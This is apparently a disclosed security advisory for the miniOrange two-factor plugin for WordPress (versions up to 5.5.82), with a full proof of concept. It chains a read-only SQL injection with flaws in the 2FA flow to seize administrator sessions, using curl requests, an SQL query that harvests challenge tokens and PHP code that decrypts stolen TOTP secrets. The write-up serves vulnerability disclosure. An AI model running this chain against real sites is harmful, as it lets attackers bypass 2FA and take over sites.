Site takeover through broken 2FA in combination with SQLi – (miniOrange <= 5.5.82)

| in


Affected pluginminiOrange
Active installs20,000+
Vulnerable version<= 5.5.82
Audited version5.5.82
Fully patched version
Recommended remediationRemoval of the plugin

Description


An attacker can take over the entire site by logging in as any user with two-factor authentication enabled without knowing the user’s primary credentials. The preconditions are:

  • Any plugin, theme, or WordPress Core is vulnerable to one of the endless read-only SQL-injection vulnerabilities.
  • The attacker is at least a subscriber on the target site or can obtain a valid WordPress nonce through other means.
  • The target site does not use a persistent object cache.

Proof of concept


There are at least a dozen ways to exploit this vulnerability using one of the many 2FA methods offered by the plugin. Choosing the correct one depends on the target user’s configured 2FA methods.

In this POC we will suppose that the target user utilizes time-based-one-time-passwords (TOTP) and has the user ID 1 (administrator).

The plugin is hooked to the WordPress “init” action and performs authentication checks if a POST request has a value for the “option” key.

To make the plugin run the TOTP authentication checks, an attacker needs to submit a POST request like so:

curl -X POST https://local.test \ 
-d "option=miniorange_soft_token"

This will call the two_2fa_pass2login.php::check_miniorange_soft_token method.

This method is over 300+ lines long, so the code below only shows the method’s trimmed-down “happy path”:

function check_miniorange_soft_token($POSTED) {

   $nonce = sanitize_text_field($_POST['miniorange_soft_token_nonce']);
   // EDITOR: nonce validation here. 
  
   // EDITOR: get the user that just logged in. 
   $session_id_encrypt = $_POST['session_id'];
   $user_id = MO2f_Utility::mo2f_get_transient($session_id_encrypt, 'mo2f_current_user_id'); 

   // EDITOR: detect the used 2FA method
   $mo2fa_login_status = $_POST['request_origin_method'];
   
   // EDITOR: get submitted 2FA "token"
   $softtoken = sanitize_text_field( $_POST['mo2fa_softtoken'] );

   if ( $mo2fa_login_status =='MO_2_FACTOR_CHALLENGE_GOOGLE_AUTHENTICATION' ) {
	 $valid = /* EDITOR: VALIDATE TOTP HERE */
	}

   if($valid) {
     // EDITOR: user logged in here.
   }
   

}

1. Passing the WordPress nonce validation

The attacker needs a valid WordPress nonce for the action “miniorange-2-factor-softtoken“, which can be obtained in two ways:

  • By being a user with 2FA enabled on the target site (subscriber is enough). After logging in with username and password, the presented 2FA form contains a WordPress nonce valid for 24 hours.
  • Through a leaked nonce-salt.
curl -X POST https://local.test/wp-login.php \
-d "log=subscriber" \
-d "pwd=subscriber" | grep miniorange_soft_token_nonce -A 1 

The output HTML will contain the following input field:

<input 
  type="hidden" 
  name="miniorange_soft_token_nonce"
  value="277104d9ea"
/>

2. Setting “$user_id” to the target user’s ID

The plugin uses the two_fa_utility.php::mo2fa_get_transiet method
to store and fetch the ID of the user that should be logged in after the successful validation of a 2FA request.

public static function mo2f_get_transient($session_id, $key)
{
    MO2f_Utility::mo2f_start_session();
    
    if (isset($_SESSION[$session_id])) {
        $transient_array = $_SESSION[$session_id];
        $transient_value = isset($transient_array[$key]) ? $transient_array[$key] : null;
        return $transient_value;
    } elseif (isset($_COOKIE[base64_decode($session_id)])) {
        $transient_value = MO2f_Utility::mo2f_get_cookie_values(base64_decode($session_id));
        return $transient_value;
    } else {
        $transient_value = get_transient($session_id.$key);
        if ( ! $transient_value) {
            $transient_array = get_site_option($session_id);
            $transient_value = isset($transient_array[$key]) ? $transient_array[$key] : null;
        }
        return $transient_value;
    }
}

This method will try to retrieve the value from:

  • PHP’s session handler (can be ignored for this exploit)
  • An HTTP cookie
  • A WordPress database transient

Currently, an attacker can’t exploit the HTTP cookie storage because it contains a bug.

 MO2f_Utility::mo2f_get_transient($id, 'someKey')

With the cookie store, the above method call will always return the entire array of values instead of the individual value with the key “someKey.” If the vendor fixes this bug, this part of the attack will become much easier.

An attacker is temporarily limited to exploiting the WordPress transient storage.

The first hurdle to overcome is making the code below return the target user’s ID (1).

$session_id_encrypt = $_POST['session_id'];
$user_id = MO2f_Utility::mo2f_get_transient($session_id_encrypt, 'mo2f_current_user_id'); 

For this to be possible, the target user needs to have logged in during the last five minutes. To simulate this, send the following login request that uses the target user’s username and password:

curl -X POST https://local.test/wp-login.php \
-d "log=admin" \
-d "pwd=admin"

The attacker needs to use his read-only SQLi and create a polling mechanism that temporarily checks for inserts in the wp_usermeta table.

SELECT option_name, option_value FROM wp_options WHERE option_name LIKE '_transient_%=mo2f_current_user_id' AND option_name NOT LIKE '_transient_timeout_%'

==> Output:

option_name: _transient_WbDD9H4P/YdCsfXPOs9NzEgOLVQ+VP8hHrpm5NTdGdbapitloT167nHTp6DSY0Tuw1bdGnOH1LBCmW6DXVkPstlqDudX6Q3wJd4BRmdOd6Y=mo2f_current_user_id
option_value: 1

This query will return a result anytime a user with two-factor authentication enabled logged in using his primary credentials within the last five minutes. It’s irrelevant if the user completed his authentication flow. His challenge tokens will still be dangling around in the database.

The option name without the “_transient_” prefix is the challenge token:
WbDD9H4P/YdCsfXPOs9NzEgOLVQ+VP8hHrpm5NTdGdbapitloT167nHTp6DSY0Tuw1bdGnOH1LBCmW6DXVkPstlqDudX6Q3wJd4BRmdOd6Y=

The option value is the target user id:
1

Remember: If the bug in the cookie storage is fixed the above part disappears entirely and the attacker does not have to wait for a user to use his primary credentials.

The curl command now looks like this:

curl -X POST https://local.test -d "miniorange_soft_token_nonce=277104d9ea" -d "option=miniorange_soft_token" --data-urlencode "session_id=WbDD9H4P/YdCsfXPOs9NzEgOLVQ+VP8hHrpm5NTdGdbapitloT167nHTp6DSY0Tuw1bdGnOH1LBCmW6DXVkPstlqDudX6Q3wJd4BRmdOd6Y="

3. Providing a valid TOTP for the target user

The attacker can now use his read-only SQLi to retrieve the TOTP secret for the target user and decrypt it locally.

The following code will decrypt the stolen TOTP secret:

<?php

declare(strict_types=1);

function decryptTOTPSecret($data, $key) :string
{
    $c = base64_decode($data);
    $ivlen = openssl_cipher_iv_length($cipher = 'AES-128-CBC');
    $iv = substr($c, 0, $ivlen);
    $hmac = substr($c, $ivlen, $sha2len = 32);
    $ciphertext_raw = substr($c, $ivlen + $sha2len);
    $original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options = OPENSSL_RAW_DATA, $iv);
    $calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary = true);
    $decrypted_text = '';
    if (is_string($hmac) and is_string($calcmac)) {
        if (hash_equals($hmac, $calcmac))//PHP 5.6+ timing attack safe comparison
        {
            $decrypted_text = $original_plaintext;
        }
    }
    
    return $decrypted_text;
}

echo decryptTOTPSecret('Pn/fQ6bb4F1qHg8kFvXxXQVKGA3llcDVmG5hWel//P/OzwE+O4ONRiL79iyhECWLc+ODv9/BEjhyAcgI2iUyy4xkPIhPjY96E6eJsx8WHMM=', 'i2luEEq9');
echo "\n";

==> ECQN44STCIJRK6KA

Now that the TOTP secret key is known, the attacker can always generate valid six-digit one-time passwords using any programming language.

A valid TOTP at the time of writing this is: 867626

The final curl request now looks like this:

curl -X POST https://local.test \
-d "miniorange_soft_token_nonce=277104d9ea" \
-d "option=miniorange_soft_token" \
--data-urlencode "session_id=WbDD9H4P/YdCsfXPOs9NzEgOLVQ+VP8hHrpm5NTdGdbapitloT167nHTp6DSY0Tuw1bdGnOH1LBCmW6DXVkPstlqDudX6Q3wJd4BRmdOd6Y=" \
-d "mo2fa_softtoken=867626" \
-d "request_origin_method=MO_2_FACTOR_CHALLENGE_GOOGLE_AUTHENTICATION"

The plugin will now respond with a 302 redirect with the following headers:

Status: 302 Found
X-Powered-By: PHP/7.4.30
Set-Cookie: wordpress_sec_f1ea7bcb2f78e29eb332883ce43b2399=admin%7C1664809531%7CYstG6OPGRBX5xLVES7gtigQiMgRWCPQOrwYTkxGoSpj%7C90fa0ef0ff1d91b807dc6f9bc52957738473d06ec4652e87ca0a77c92c83e11d; expires=Tue, 04-Oct-2022 03:05:31 GMT; Max-Age=1252800; path=/wp-content/plugins; secure; HttpOnly
Set-Cookie: wordpress_sec_f1ea7bcb2f78e29eb332883ce43b2399=admin%7C1664809531%7CYstG6OPGRBX5xLVES7gtigQiMgRWCPQOrwYTkxGoSpj%7C90fa0ef0ff1d91b807dc6f9bc52957738473d06ec4652e87ca0a77c92c83e11d; expires=Tue, 04-Oct-2022 03:05:31 GMT; Max-Age=1252800; path=/wp-admin; secure; HttpOnly
Set-Cookie: wordpress_logged_in_f1ea7bcb2f78e29eb332883ce43b2399=admin%7C1664809531%7CYstG6OPGRBX5xLVES7gtigQiMgRWCPQOrwYTkxGoSpj%7Cb3bab7d21a2d15171714e627366c8ef4c454d3757c0cad4f488685a5affddd84; expires=Tue, 04-Oct-2022 03:05:31 GMT; Max-Age=1252800; path=/; secure; HttpOnly
X-Redirect-By: WordPress
Location: https://local.test/wp-admin/
Content-type: text/html; charset=UTF-8

The “Set-Cookie” header contains valid WordPress authentication cookies which the attacker can use access the WordPress admin area.


Timeline


Vendor contactedSeptember 12, 2022
First ResponseSeptember 16, 2022
Fully patched at
Publicly disclosedApril 24, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *